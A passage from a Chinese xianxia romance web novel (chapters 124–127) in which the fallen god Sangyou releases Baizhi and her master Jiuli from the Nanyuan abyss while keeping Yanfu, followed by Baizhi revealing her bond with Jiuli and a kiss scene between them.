费尽心机争抢那么多年,回头一看,失去的远比得到的要多。 曾经的亲人,好友所剩无几。父王临死前仍执迷不悟追求的东西,在他看来,已经不重要了。 当初在幽冥间同九黎说的那些投诚的话,如今更是笃定。之后的事情,若能活着从这里出去再说。眼下,妹妹呆在桑尤身边实在太危险了,他一定要想办法,把妹妹救出来。 出乎意料,刚想到妹妹,突然天际就传来熟悉的呼喊声。 “哥哥。” “阿芙。”后卿抬头,见到妹妹安然无恙时,心里那根紧绷的弦终于松了些。 可看到妹妹旁边那位墨衣男子,另一根弦又崩得更紧,他第一时间朝身后的茅屋甩了一个防护结界,摆出迎战的姿势。 桑尤冷笑着看了一眼,淡淡吐了一句,“不自量力。” 他的声音很低,懒恹恹的,颜芙却听到了。 她皱着眉扯住欲提步往前走的人,语气有些急,“你答应我不会伤害他们了。” 桑尤顿下步子,见女子又是皱着眉一脸防备的模样,他抬起长指,在女子眉心抚了抚。 只是那皱紧的褶痕越抚拧得越深。 他收回手,缓缓说道:“我说了吗?” “你……” “我是答应会放他们走,但没说是让他们立着走还是……” “你无耻。” 如愿看到女子眼中簇起两束火苗,桑尤哼笑一声,绕过她继续往屋内走。走到半路他掌心往右侧一放,把已经持剑快刺进他胸口的后卿挥落在地。 后卿的结界于桑尤而言形同虚设,在他脚踏进茅屋内的那一瞬,结界瞬间如火燃,散下星星点点红色荧光。 那红色荧光垂落地上之际,万千黑色丝线如蛛网拔地而起,另一道坚不可摧的灵力结界重新落下。 结界外,颜芙正跑向被桑尤挥落在地的后卿,而结界内,白芷急步往前,站起来护着还在沉睡的男子。 桑尤自外闲庭信步般走了进来,先是瞥了一眼床上气息微弱的身影。 这其实很罕见。桑尤原本想再往前走两步,好好欣赏这个模样的九黎,但顶着白芷明晃晃充满敌意的目光,到底还是没有再往前。 当面对一个挥挥手便足以完全碾压你的对手时,害怕只是一种最没用的情绪。 白芷不害怕桑尤,却担心九黎的安慰。她皱着眉看着桑尤一步步从门口走进来,若此时化作原身,定能看到她身上的兽毛几近炸起来。 小虎兽倒是护主,看着小巧,实则凶悍不怕死得很,桑尤瞥她一眼,她瞬间目光凌厉地盯着他,仿佛随时想扑上来撕咬一口。 但他不是九黎,可不惯着。只是,来时那女子喘着气也不忘叮嘱让他不准伤害她的好友 算了。 桑尤好整以暇地走到桌子前,坐了下来。 而桑尤这副阴晴不定的样子,也着实让白芷摸不着头脑。 其实细算起来,他们认识时间那么久,九重天上也算抬头不见低头见。想当初母神让他们四星兽选师父的时候,她心里想选的第一人选还是他。 但 今非昔比,再怎么说,她与桑尤的交情肯定不敌曾经师尊与他的交情,他如今连师尊都能重伤…… “桑尤,有种你放我们出去,等我师尊养好伤再同你决斗。” “” 难怪能成为好朋友,连说话都那么相似。 当他是傻子吗? 桑尤懒得应她,自顾自地开口,“九黎同你结契了?” 冷不丁的一句话,让白芷气势汹汹的表情瞬间凝固在脸上。 今日还真是有趣,师徒俩连连叫他看到罕见的一面。 他还没见过这只小虎兽这般吃瘪的样子。 桑尤把玩着自己的手指,轻飘飘地继续道:“师徒结契,悖逆人伦,无视纲常,你们比我又好到哪去?” 说完后,他饶有兴致地观察着白芷的反应,甚至悠闲地点了点桌子。 “那个”白芷刚刚还怒气腾腾的声线陡然弱了下来,“不是你想得那样” 她是为了帮助师尊修补神魂才结契的…… “哦,不是我想的那样?”见她吞吞吐吐,桑尤一针见血地说道:“是九黎逼你的?” 说完后,桑尤扫了眼她身后气息变化的地方,眼中划过一丝玩味。 所以,如珍似宝捧了那么多年,终于忍不住了? “额”白芷没想到桑尤那么敏锐,三言两语就被他套出话。 那边,桑尤继续漫不经心地说道,“所以,同他结契不是你所愿?” “” 许是心虚太甚的缘故,白芷眼神闪躲,连连咽下口水,最后憋出一句,“不用你管。” “那这样说,你这位端坐莲台的师尊说到底也只是一个道貌岸然,伪善卑劣,表里不一的” “住嘴。”白芷被桑尤口中的难听话气得几近跳起,是可忍孰不可忍,她指尖连连发出几道攻势,“不准你污蔑我师尊。” 桑尤只是坐着,轻轻抬起手就挥开那些攻击。 “我答应过她不会伤你。”桑尤站在桌前,悠悠道:“你走吧。” 白芷闻言一喜,没想到桑尤会突然吐出这样悦耳的话语。 他如今阴晴不定,怕他等会反悔,白芷立马转身,想把床上的九黎赶紧带走。 桑尤看出女子心中所想,勾了勾唇,语气不咸不淡,听不出喜怒,“你可以走。” “但九黎留下。” 第125章 第125章她也喜欢的 “不可能。”白芷下意识驳道。 “小白虎,别急着拒绝啊。”桑尤慢条斯理地开口,“你想想清楚,你应该要感谢我。” 白芷皱了皱眉,不知道桑尤在卖什么关子。 他想杀他师尊,还要她感谢他? “若我没看错,你同九黎结的可是血契。以神明之身起的契,除非他死,否则你们永远解不了契。” “你不是被逼的吗?” “师徒结契,传出去,你猜别人会怎么说?” 暗蓝色的结界将桑尤的轮廓衬得忽明忽暗,他唇角似笑非笑的弧度,似乎心情很好。 “我”白芷像是被人扼住了喉咙,忽然发不出声音。 而桑尤的嗓音依然低沉如蛊惑,“今日之后,这世上不会再有九黎神尊,你自由了。” 四周翻涌的魔气似能模糊人的意识,白芷咬着唇抵御那伺机侵吞她心神的魔气。 她的目光慌乱地游移,只是身体还是下意识挡住九黎床前。 寂静的结界内,桑尤修长的手指有一下没一下地敲击着桌面,发出令人心颤的闷响。 空气中某处气息轻微波动,桑尤不显见地挑了挑眉,好整以暇地等着女子的答复。 他是见识过女人狠起心来的模样,即使前一刻还在与你耳厮鬓磨,下一刻,她也能毫不犹豫地将尖刀刺入你的心脏。 九黎,你倒看看,你捧在心口多年的这只小虎兽,会有什么不同吗? 魔气凶猛,白芷又连续几日为九黎输送灵力,才抵御了一会,冷汗便开始顺着额角滴落,砸在冰冷的地面。 脑海里一直响彻着桑尤刚刚的话语,思绪不受控地发散。 白芷从来没想过九黎会死。 从她见到他的第一面时,他便是九重天上最尊贵最受瞩目的神 君。 天生的神,他身上总是比别的神君多了点白芷说不上来的东西。 神君大多寡欲清冷,九黎更甚。从来见他,都是独自一人,仙姿秀逸,看人时眉眼处尽是霜寒。 一开始看她也是这样的。 只是不知道从什么时候开始,她也开始会跟这位孤冷出尘的神君说上几句话。 相处久了,她慢慢也发现,这位神君看着不好相处,其实脾气温和得很。 或许说,像是没脾气一般。 即便是朱雀这位自小与她朝夕相处,温柔可亲的小姐妹,也常常被她气得跳脚。 但无论她如何捉弄,扰他清净,他从来没有冷过脸。 或许会无奈地叹气,单手捏着她的脖颈将她带离他珍爱的画册。但大多数时候他也愿意覆上书,任她拉着陪她做她想做的事情,即使只是坐在一旁看着。 扎风筝,捏泥人,甚至用弹珠打树上神果的那把弹弓,还是九黎帮她做的。 后来成为她的师尊,她搬到他的凌霄神宫,他们呆在一起的时候便更长了。 如师如友,白芷已经习惯一从外面回来,第一件事就是找他。 师尊喜清静,却总是不厌其烦地听她说外头的事情。 白芷是真的从来没在他眉眼间看过一丝不耐。 他从来不扫兴,讲到兴起时,他常常能丢出一句话,让她知道他有在认真听着。 他会问她喜欢的糖葫芦是什么味道,看她穿凡间的衣裙,甚至与别人打完架回来后的伤口,也都是师尊给她疗愈…… 这样的师尊,居然在混沌神台前说喜欢她。 她承认,那一刻她震惊极了。 她不断地在心里消化这个讯息。 师尊喜欢她,九黎喜欢她。 她很犹豫,下意识觉得这样是不对的。但同时,她心底又不禁在想,若九黎不是她的师尊,她还会犹豫吗? 答案很显见。 她只是不敢承认,她也喜欢师尊的。 从什么时候开始的,她也不清楚。 或许从第一眼见到时惊艳到心颤的时候。 或许是凡间那世,哥哥抱着她一起共赴火海的时候。 或许是回到九重天得知他取神魂救自己的时候。 又或许是,年年岁岁长久相伴,感情如水穿石,早已深种而不自知 总之,所有的可能中,她唯独没有假设两人会分开。 师尊在混沌灵台前逼她选择,说若非结契,他们之间不必再相见的那一刻,她便已经想清楚了。 她当然做不到与他不再相见。 那么便只有一个选择。 ——遵从内心的选择。 划破掌心结完契约的时候,她心里第一反应居然是欢喜。 兽类天性坦率,既然看清楚自己的心意,那便不会再扭捏。那时她便想同师尊说明她的心意的,只是谁也没有想到,桑尤会从那个时候从下星海闯出来。 白芷攥着胸前的衣服,抬头对上桑尤那双似笑非笑的眼睛时,心里猛然一落。 她知道,桑尤是故意迷惑她心智的。 “谁说我是被逼的。” “我与师尊是两情相悦。” “桑尤,你不要因为阿芙不喜欢你,你就怀疑别人的真心。” 对面,桑尤原本还噙着笑的唇角蓦地一僵,指尖下的桌子无声碎裂。 或许是被说中了心事,他眼底的戏谑寸寸冻结,冷着脸说道:“我的事,还轮不到你来置喙。” 白芷哪里看不出来,桑尤这厮爱而不得,所以也看不得别人好。若不是他先离间她与师尊的关系,她才不敢故意踩他雷点。不过见桑尤脸色沉黑,她抿着嘴不敢回口。 “行了,听够就起来了。”桑尤豁然侧过脸,看向床榻上不知什么时候苏醒了的九黎。 冷不丁的一句话,白芷顺着他的目光惊诧回头,看到已经躺了好几日的师尊已经清醒坐起来。 不知为什么,白芷忽然就觉得心里很难受,对上那熟悉的目光,她的嘴角微微往下撇,像是极力忍着什么。 她把手放到九黎伸过来的手掌,被他微微带到身侧。 桑尤看一眼两人交握的手,冷冷嗤笑一声,“终于舍得醒了?” 见师尊欲往前走,白芷心里紧了紧,不由得握紧他的手指拉住。 九黎侧头安抚地看了她一眼,而后对着桑尤沉声开口,“桑尤,你应该知道,你神性并未全泯,呆在下星海才是最好的选择。” 下星海虽困住桑尤,却也能压抑他身上的魔性。 桑尤是堕了魔,但也不算完全堕了魔,他身上神性尚存。 只要不是关于那个女子的事情,他轻易不会失控。否则,他现在不可能还能站在这里同他们平心静气地说话。 可桑尤听完后眉峰骤然压低,“不可能了。” 他不是没有尝试过放她自由。 万年了,他逼自己放下已经万年了。 但,做不到。 既然放不下,那就彻底纠缠吧。 九黎听懂了桑尤的意思,“所以,你把她带到南渊?” 困住她,也困住自己。 鲜有人知,这南渊乃天地初分时浊气沉降之地,当初为了清除那蔓延至三界的混沌瘴气,上古众神皆在这里留下一息太初之力作为禁制咒印。 桑尤虽挣脱开缚神索,但那缚神索蕴先神之力,早在他将缚神索落到他身上之时,神索便已深深融进他的血脉,只要体内仍有魔气,他是不可能完全挣脱开。 而桑尤主动进入南渊,又将他重伤,不就是想借他之魂血唤醒上古众神留下的太初之力吗? 有太初之力一同克制魔息,即便之后缚神索再无没有他的神魂护持,桑尤也很难再逃脱这道枷锁。 难道这不是自缚己身,成全三界太平? 只是,那女子也愿意成全他的执念吗? 多年好友,有些话无须多言,一个眼神便已经了然。 或许是事关颜芙,桑尤难得泄露出一丝真正的情绪,他几乎是咬着牙说道:“这是她欠我的。” 而白芷站在九黎身侧,听得越多,眼睛便睁得越大越圆。 什么意思? 真相,似乎与她原先想的,有些偏差? 不,偏差有些大。 她是不是把桑尤想得太坏了 其实仔细想想,桑尤堕魔后,除了被魔界利用打开皿灵阵,其实,他没有伤害到任何人。 只是因为堕魔本身,让人忌讳畏惧。 还有阿芙,听他话外之意,还是不肯放过阿芙。 白芷心里很复杂,一方面,桑尤看起来其实也挺可怜的。但阿芙若是被他强制留在身边…… 白芷摇了摇头。 不行,只要阿芙她不愿意,不管多难,她一定想办法把她带出去。 桑尤看着白芷一会眼睛滴溜转,一会摇头晃脑,忽然觉得很烦躁。对于这种把心思都写在脸上的人,叫人计较也不是,不计较 又实在很想把她头拈断 他只好压着眉峰对九黎不耐地说了一声,“管好她。” 什么都不懂就乱出头,届时误伤她可不止他一人心疼。 白芷原本还想说什么,但九黎轻轻捏了捏她的指尖,示意她噤言。于是乎,白芷只好不甘心地把话又咽回去- 结界刚被挥散之际,结界外两道身影同时奔近,颜芙更是第一时间跑向白芷,两个多年未见的小姑娘终于相拥到一块。 她们紧紧拥着对方,话还没说,各自的眼眶便先红了。 后卿跟在后面,见白芷和九黎安然无恙,虽有些惊奇,但一时也不再轻举妄动。 九黎显然已经习惯白芷与好友这般黏糊糊的模样,不管是与朱雀,或是七彩雀,他常见她们勾肩搭背,甚至有时不知道在说什么要事,一定要交首脸贴着脸说 但桑尤显然还未见过颜芙与他人这样亲密的模样,以致于他一时懊悔不该答应颜芙绝不伤害这只小白虎 相看泪眼,互相拥抱安慰一番后,白芷趁着桑尤不耐转头之际 ,凑到颜芙耳边轻轻说了一句话。 颜芙听见了,下意识回头去看那个墨衣身影。 她没想到,这次他真的守信,答应她不再出手。即便刚刚哥哥持剑欲刺他心脏时,他也只是将他挥开。 阿芷和她的师尊也好好的 看着那墨衣背影,不知为何,颜芙居然看出了浓浓的寂寥和孤独。心忽然不受控地抽了下,疼得她皱了皱眉。 见好友皱眉,白芷歪了歪头,微微俯下身看她眼睛,“没事吧?他没打你吧?” 颜芙好笑地摇了摇头。 除了他偶尔发疯,会突然将她扯到怀里,不顾她意愿将她亲一番,其余时候,他其实算是对她言听计从的。 用言听计从这个词其实很奇怪,其实她才是他的俘虏,但无论她提出什么要求,为难的还是无理的,桑尤虽然一直脸色很差,但从来不说不。 如果这是他报复她的手段的话,她承认桑尤确认让她有些混乱了,她根本猜不透桑尤的想法,他究竟会如何报复她? 但终究两人已经纠缠不清了,想这些又有何益?她又躲不开 看着白芷关切的眼神,颜芙摇了摇头,是对她刚刚提议的拒绝。 颜芙很清楚,以目前的局面,阿芷他们三人能出去已经是最好的结果了。一旦她先毁了和桑尤的约,桑尤大概真的会发疯,届时没有一个人出得去 “他对我很好,别担心我。”颜芙抚着白芷的脸颊说道。 她说这话时声音明明很轻,可桑尤却恰好在她说话时回了头。 对上桑尤若有所思的目光时,颜芙突然有些心虚,眼神闪躲开,才继续说道:“放心吧,我只是暂时出不去,如果你想我了,用留音玉找我,我看到了就会立即回复你。” 白芷虽然有些不甘,但也知道眼下没有更好的办法,她只好又跟颜芙确认一遍,“他真的没有欺负你?” “”怎么样算欺负,当着这么多人的面颜芙咬了咬唇,摇摇头,“没有,快走吧,你师尊身上还有伤呢。” 第126章 第126章别扭的娇态 白芷遂回头看了九黎一眼 颜芙不由得笑了笑,凑到她耳边:“回去后,记得告诉我你和他到底是怎么回事。” 颜芙很意外,兜兜转转把阿芷骗到手的人,居然会是她那个端坐九天神台的清冷师尊 不知为何,知道之后,她觉得十分意料之外,又觉得似乎在情理之中。仔细再想了想,从前也不是没有端倪,能让没心没肺的阿芷常常挂在嘴边惦念的人,唯有一个人,便是她的师尊。 那时她还在想,阿芷是不是也太过在意这个师尊了,常常还玩在兴头上,忽然就说要回一趟家看看师傅那时她还调侃她,这样心心念念要回去看的人,恐怕不是师尊,是意中人吧。 没想到她料事如神呢。 “嗯”白芷轻声应道。 难得见白芷这样别扭的娇态,颜芙心里也溢出几分喜悦,只要她是真心喜欢她师尊就好,而那位神尊对阿芷,事实在前,已经不必多说。 “快走吧。”颜芙主动把白芷推到九黎身边,而后顺势停在后卿跟前。 她对着后卿弯了弯眸,“哥哥,你也放心回去吧,魔族需要你。” 这么多年,魔界一直处在腥风血雨中,从无安宁一日,好不容易终于把后殒那几个害群之马拔除,眼下魔界最需要的,是一个带他们重建家园的领袖。 哥哥这个时候,一定要在。 “妹妹,我”后卿张了张口,欲言又止 事到如今,除了颜芙,没有人看不出桑尤对她浓到极致的情意。但后卿也知道,妹妹一直以来对这位堕神的心结所在,当年为了魔界大计,知道妹妹误会桑尤屠戮他们父母和魔族时,后卿没有解释,甚至刻意引导妹妹仇恨他, 但桑尤堕魔之后,在他面前发誓从没有爱过桑尤的妹妹开心吗?快乐吗? 都没有。 她只是从一个爱笑爱闹的小姑娘变成一个沉默寡言,深入简出的神秘圣女。 她在惩罚自己,尤其在与后殒的交锋中,激进冲动,屡次受伤。那次从幽冥间将她带回魔界,几日后她终于醒来时,后卿看着她睁开眼的瞬间,眸里是掩不住的失望。 那一刻后卿无比清楚,妹妹很痛苦,甚至痛苦到想用死来解脱。 他从来没想过桑尤有一日还能重见天日,也没有想到他对妹妹的执念依然那么深。 既如此,只要妹妹能好过些,他愿意为他承认做的那些龌龊手段付出相应代价。 后卿伸手手指往心口处一点,转眼间几根血线缠绕在他指尖处。 血线很快融结成一颗血色透明的珠子,后卿将这颗珠子放到颜芙的掌心。 “等我走了你再看。” 这血珠有些类似留音石,不过里面抽取的是后卿的回忆。颜芙虽不知道哥哥想让她看的是什么,不过还是乖巧地点了点头。 而一直安静呆在一侧的桑尤,这次真真算得上好脾气,不仅给了不少时间给他们告别,甚至最后颜芙还提出要将他们送到渊口之后,桑尤虽皱了皱眉,仍是没有反驳。 反正,他今日所有的忍耐,最终都会足斤足两地在她身上收取酬劳- 桑尤逃出下星海一事,随着九黎重新回到九重天而渐渐平息。 南渊这块地方倒是重新出了名,众人才知这块地方原来曾是上古神冢,而再次禁压桑尤便有了一种因果之理的宿命感。 关于此次抓拿桑尤的是非曲折,除了仙帝和几个老仙君,清楚的人并不算多。说实在的,若不是下星海的海水后来还泛滥了一阵,众仙人真的对桑尤外逃一事没有太大的感觉。 反而,魔界那一场内乱成为各界茶余饭后讨论的重点。毕竟,几万天兵在魔域上亲眼所见那惨烈的场面,回去后又添油加醋 总之,仙魔两界彻底达成协议,魔界退守镜山以内,而镜山与仙人交界的那块争议之地交由仙界管辖,化作互市,几界宝石灵物可以在此交易、并且,此地不允许使用任何武力和灵力,违者严究,因此,几界的龃龉和误会随着交集往来越来越深慢慢有所淡化甚至互相理解。 当然,仙魔两界的最新消息常常从这块地方往外传开,有仙人从这里把魔界的消息带回仙界。据说魔界魔主救圣女无果回到魔界后,一方面,手段残戾,对参与起乱的魔兵,除襁褓婴儿之外,无论男女老少,三族内全部发送魔界禁地截齿山。另一方面,凿河道,开放王族疗愈圣泉,并连连颁布休养生息的新令。 在千万年后的魔族纪史中,这一年被誉为二代魔君治下的和平纪年。 总之,传闻甚嚣日上,成为三界近几百年茶余饭后的谈资。 但这些声音,止于九重天门口。 从南渊回来之后,九黎把白芷送回临云水榭之后,安妥好一切后,便独自闭关养伤去了。 白芷虽没未受什么重伤,但几日担忧奔波,回到水榭后竟一股脑睡得昏头暗地。 直到几次星移斗转之后,守在水榭门外的七彩雀觉得再睡下去真该出问题了,才第一次推开水榭的房门。 但七彩雀不知道,玄冰床上的女子几刻前便已经醒了。 此时,她睁着眼睛,正望着头顶遮光的月影纱帐出神。 帐顶的月影流光纹微微浮动,如星屑般忽明忽暗,白芷不知刚好想到什么,忽然抿唇笑了起来。 她的眼角弯成两道小小的月牙,两个小梨涡将笑脸衬得明媚鲜活。她将手举高,看着腕间晶蓝色的结印,拖长了调子自言自语道,“啊不是做梦呢” 一缕清风随着门门开钻了进来,床帐漾开涟漪般地褶皱。七彩雀 进来的时候,正好透过那微微掀开的床帐一角看到床中女子孩子气般伸手在戳那飘动的床帐。 “你终于醒了?” 七彩雀走近,两个手指作势往外,那月影纱帐便被拂开分挂到两旁的白玉钩子上,完整露出一张床里笑意未散的俏脸。 白芷顺势仰起身子坐起来。 “雀儿。”白芷主动打起招呼,声音雀跃。 大概是休息足够的缘故,那双眼眸望过来的时候异常透亮清澈,七彩雀对上的时候不由得都恍了下神。 心情这么好? 七彩雀任她拉着在床边坐下,随手帮她拉了拉身上的毯子。 下星海海水泛滥之际,七彩雀被九黎留在九重天配合仙界善后,没有跟着去魔域,所以也没有见到那从下星海逃出的桑尤。 仙帝带着一众仙将去而复返,七彩雀从其他仙将口中得知桑尤挟魔界圣女往南渊方向去时,心里很是复杂。再之后,神尊带着白芷回到九重天,无烬剑又重新被缚于天柱峰顶,一切尘埃落定,七彩雀每日看着天柱峰顶的那把剑,脑海里闪的却总是同一个念头。 所以桑尤他如今怎么样了? “怎么了嘛?担心傻了?”见七彩雀好像有些心不在焉,知道这几日她定然也在为他们担忧,不由得安慰道,“已经没事了,别多想了。” “嗯”七彩雀含糊应道。 “我是没什么事,不过师尊他”想到九黎,白芷不禁叹了口气。 师尊他旧伤未愈又添新伤,她还是赶紧过去凌霄殿看看。 “诸夏去了一趟。”七彩雀说道,“他也来了水榭,不过那个时候你在睡着,我看你身上没有什么伤,便让他先回去了,要不要现在叫他来一趟?” 白芷摇了摇头,此番她算是毫发无伤,没什么好看的。 “嗯。”七彩雀点了点头,唇瓣几次启了又合,“那个” “嗯?” 七彩雀咬了咬牙,还是开口,“桑尤神君桑尤他是不是已经” 难道见七彩雀这样吞吞吐吐的模样,白芷觉得有些惊奇,不过也没多想,“你是想问桑尤死了没有?” “” “怎么可能。”白芷觑了七彩雀一眼,没好气地说道,“阿芙还被他挟在手里呢。” “不过”白芷又叹了口气,心里也不好受,“师尊说他以后也不可能再从南渊出来了” 七彩雀听完,很轻地嗯了一声,之后便没有再追问了。 :. 从前,他看不见自己。 往后,她也看不见他了。 就这样吧。 说了一会话,白芷觉得精神也回来了,便掀开毯子从床上下来。 她手一挥,一边挑着织女们之前送过来的新裙子,一边跟七彩雀说道,“那个,我这阵子就不回来水榭了,你不用等我。” “如果你觉得无趣,不然就去神冢找朱雀,之前她还说得了件宝贝,想让你过去看看。” “哦”七彩雀随口应了一声,“那你要去哪?” “我能去哪。”白芷挑中了一袭茜白流云广袖长裙,手指一点,衣裙就落到她身上,她垂首左右看了看,然后冲七彩雀眨了眨眼,“好看吗?” 衣袂以天蚕丝织就,裙裾层叠如初绽的雪昙,裙衫流转的柔光衬得那姣好面容更加昳丽明媚。七彩雀点了点头,如是说道,“好看。” 白芷抿了抿嘴,自顾自地嘀咕道,“会不会太素了?” 七彩雀皱了皱眉,挺好看的啊。不过她也不曾在衣裙上花过心思,便也跟着嘀咕道:“素吗?” “我看还好啊。” “嗯”白芷又垂首看了一眼,“行吧。” 织女们织云布锦的手艺是没得说的,只是白芷平日习惯穿那些明亮些的衣裙,这袭流云长裙颜色淡雅了些,不过 师尊平日里也常着雪色 想及此,白芷便不再犹豫了。 “那我走了。”收拾妥当后,白芷回头跟七彩雀打了个招呼。 “等等”七彩雀好似才回过神,“你去哪来着?” 她追问道:“这次去多久?神尊知道吗?” “我去凌霄殿啊。”白芷语气轻快,不以为意,“去多久不清楚。” “也可能不回来了。”白芷笑得狡黠。 “”什么不回来,七彩雀听得云里雾里的。 见七彩雀一脸懵懂的模样,白芷才想起来,她跟师尊结契之事,七彩雀可能还不知道。 心里急着去找师尊,白芷也不卖关子,抬起手把手腕露出来,故意伸到七彩雀面前转了转。 “我同师尊不”她顿了顿,“我同九黎结契了。” 她清透明亮的眼眸里毫不掩饰欢喜和雀跃,坦坦荡荡道:“就是师尊他喜欢我,我也喜欢他,然后我们结契了,以后他便是我的道侣啦。” 简单明了的说完,白芷满意地挑了挑眉挥手,“好啦,我走啦,等师尊伤好了再说。” “走啦。” “” 这 这 七彩雀原本还沉浸在难言的伤感中,没想到白芷几句话轻而易举帮她抽离那伤感的沼泽。 但白芷刚刚说什么? 神尊与她结契了? 七彩雀站在水榭门口,不管是身上的羽毛,还是脑海里的思绪,都彻底凌乱了 第127章 第127章主动吻上去 来凌霄殿的路上,白芷站在云朵上,不知想到什么,忽然掐了掐指。 天上一天人间一年,此时正是人间四月天。 绵密的雨季,梅子黄时,用粗针一颗颗刺破梅子,老冰糖砸成碎块,浇上烧酒,不消几日便能给清冽的酒色染出淡淡的黄。 可惜了,眼下不得空,否则高低得先去人间走一趟。 大概是心情好,连带路上的金光落在身上都觉得暖洋洋,舒服又惬意。 白芷如同往常一般,熟门熟路穿过几道门,绕过几道游廊,直接推开兰因殿的大门。 原本以为师尊会在莲花虚境,殊不知扑了个空。 白芷有些惊讶,师尊去哪了?怎么不在虚境内好好调息养伤? 难道是仙帝他们又来了? 白芷遂原路返回凌霄殿,可威严大殿空荡荡,还是没找到人。 再从殿里出来时,白芷脸上少了几分轻快。但很快,她左手搭上右手的晶蓝结印,闭上眼,几息之后,她睁开眼,嘴角弯了弯,“找到了!” 走近幽篁亭的时候,九黎正背对着那白玉案几,站在亭角处看着掠过云海里的鹤影。 远处竹林茂密而幽深,云海翻涌,霞光自天际倾泄而下,他立在亭中,衣袂如雪,袖子在清风中微微浮动。 风掠过亭角,檐铃轻响,却衬得四周愈发空寂,那静默而立的身影更添几分孤绝不染尘烟之态。 不知为何,看到眼前场景时,白芷觉得心里闷闷地。 她屏住呼吸,一步一步迈上阶梯,足音几不可闻。 走到那道清冷的背影身后停住时,腰间的错金铃铛忽地发出一声清越声响 于是,在男子即将转身之际,白芷咬了咬唇,忽地闭眼倾身向前——双臂环住他的腰身。 脸颊随之贴上他的脊背。 那一瞬,她能感受到脸颊下骤然绷紧的身躯。 白芷几乎能听见自己心跳的声音,而掌心里早已沁出细汗。 她的指尖微微颤抖,手还没彻底环上之时,她忽然打起了退堂鼓。 刚刚怎么回事,这手怎么好像自己有意识般就伸过去抱上了 这样会不会太过不知分寸了? 鼻翼间尽是师尊衣上清冷的香气,但这扑鼻的香气此时却让白芷耳尖愈发发烫。 算了算了,手还没搂上,或许师尊还没反应过来,赶紧收手吧。 风似乎静止了,连飘落的竹叶都仿佛 悬在空中。 真是色令智昏,竟然被师尊的背影蛊惑了。 白芷慌乱地后退半步,手迅速地想收回。 可就在她手刚松开刹那,手腕忽地被一道微凉的力道扣住。 九黎依然背对着她,只是精准地抓住那想退缩的手腕,带着不容抗拒的意味,缓缓地按在自己腰间。 风过亭台,扬起两人的衣袂,两抹雪色交织在一起。 “怕什么?”九黎的声音依然淡冷得如同山巅之雪,可掌心却将女子还有些发颤的手指一根根拢紧包裹 指尖相扣之际,白芷呼吸骤然微滞。 指节下是腰封上繁复的纹路,耳尖是一声比一声重的心跳。 而这心跳声,是师尊的。 ——白芷忽然抿唇轻笑。 原来师尊比她还紧张。 反正是他允许的。 白芷遂将手收得更紧了一些。 她没有看到,背对她的九黎垂眸看着腰间那双纤细的小手,素来平静无波的眼底正烧出一道道细微的裂痕。 “师尊故意的?”白芷的脸颊故意在他背上蹭了蹭,像只得逞的小猫。 故意装作不知道她来了,给她偷袭的机会? 绵柔的语气吐着得寸进尺的话,偏偏她语气里这种肆无忌惮的亲近轻易让人心里泛起阵阵涟漪。 九黎喉结动了动,终是无奈轻叹,转身把这只调皮的小虎兽揽入怀中。 他冰凉的手指抚上她发烫的耳垂,眼底的寒冰仿佛化作水。 “你说呢?”他反问道。 白芷被反搂在怀里,心里虽还有些羞涩,脸上却半点不露怯,反而仰起小脸,眨着一双清澈无辜的眸子望他。 “不是。”她摇了摇头,纤长的睫毛如蝶翼扑闪,语气正经,“师尊清风明月,端方自持” 她的声音又软又糯,偏生尾音微微扬起,像是故意要看他为难。 见九黎不语,她继续说道,“断然不屑做这种小儿才会玩的小把戏” 霞光斜照,将两人交叠的身影拉得很长。 九黎目光在她眼眸上停了停,修长的手指轻轻抚上软嫩白皙的脸庞,指尖缓缓滑落,至下颌处扣紧。 而后他掀了掀眉角。 错金铃铛随着女子忽然僵硬的动作发出细碎声响,白芷蓦地睁大眼睛,看着那张隽透如玉的脸庞慢慢靠近…… 唇上落下一抹微凉的触感,惊得她瞳孔骤然一缩,下意识攥紧手中的衣带。 吻上的瞬间九黎就察觉到了她的僵硬,他心中不由轻笑——这丫头向来只是只伶牙俐齿的纸老虎。 他故意放轻了力道,唇瓣若即若离地贴着摩挲着她的,感受着她从错愕地到逐渐放松的细微变化。 贴着鼻尖退开她的唇瓣,清泠的声音中便多了几分沙哑,“怎么不说了?” 谁说他清风明月,端方自持? 白芷是真没想到师尊会理会她的调侃,还这样反击… 待他退开的时候,她的脸颊如野火燎原烧到耳根,一片绯红,方才的伶牙俐齿全化作结巴,“你那个我是说” 还有什么好说的呢? 九黎的呼吸早就乱了,看着女子无措的模样,他一手扣住她的后脑,贴在她腰间的手将人彻底压近,吻便落了下来。 他不似小虎兽能言善辩,但她又惯是会得寸进尺的,所以,必先好好教训一番。 呼吸交错间,吻骤然加深。 天光霞光愈发秾艳,交织的衣摆上流淌的云纹在地面上投出细碎跳动的光斑。 这个吻有些急切,直到小虎兽呜咽地攥紧他的衣襟,柔软的身子无力地倚向他,九黎才压了压眸底的暗色,放缓了力度。 吻变得缓慢而柔软,只是小虎兽还是中看不中用。他只好短暂松开她,气息从嘴角慢慢缠移到颈侧。 好不容易得她一回亲近,当然要慢慢来,要慢慢顺着她的毛,索取的同时要留有一些缝隙供她伸爪,免得她恼羞成怒,翻脸不认人。 白芷只觉得丝毫没有一丝转折,忽然间天旋地转,下颌被抬起,她几乎无法闪躲,唇舌在交缠间被吮得近乎发疼 铺天盖地的冷冽气息笼罩下来,却烫得她浑身发颤。 即使是前几次,九黎也很少这样急切。 唇齿间的每一寸掠夺都激起颤栗,不管是头还是心,都松软得如同浆糊。白芷并没有抗拒,只是九黎身上那股完全不加掩饰的侵略气息点燃起兽类天生的警觉,她下意识想躲避危险。 原本只是用了点力想抵开那不断勾缠上来的柔软,却不知哪一步开始就做错,某一瞬间两人身躯双双一颤。白芷更是连脚尖都不自觉蜷起,几乎要站不稳。 怎么能将人逼成这样的! 白芷一羞恼,身子便不大愿意配合了。 但男子似乎总能很好拿捏尺寸,每每这个时候,他又很是爽快撤开,将气息带到别处。 什么都顾不上,脾气也顾不得发,白芷只能抓住这些短暂的间隙大口地吸着气,连手被带着环上他脖颈的时候也忘了反应。 直到湿热的鼻息落到耳垂边,沙哑的声音在耳边响起。 “抱紧。” 习惯使然,白芷太过习惯九黎的指令。 思绪还未明时,她已经轻轻踮脚,听话地环紧他的脖颈。 而后,人便被轻轻带了起来。腰肢被托住,身子不稳,她轻呼一声,下意识地勾住他的腰身。 这个姿势促使她不得不低头与男子相视。 此刻,她清清楚楚地看着那双往日清明无欲的眼眸此刻暗潮迭生,幽暗如同深海漩涡,像要将人彻底吞噬。 白芷心尖猛然一颤,侧首的时候却被他更用力地按向自己,促使她不得不再次对上他的目光。 九黎的目光如有实质,从女子湿润的唇,泛红的眼尾,和贴在他身上剧烈起伏的胸口掠过 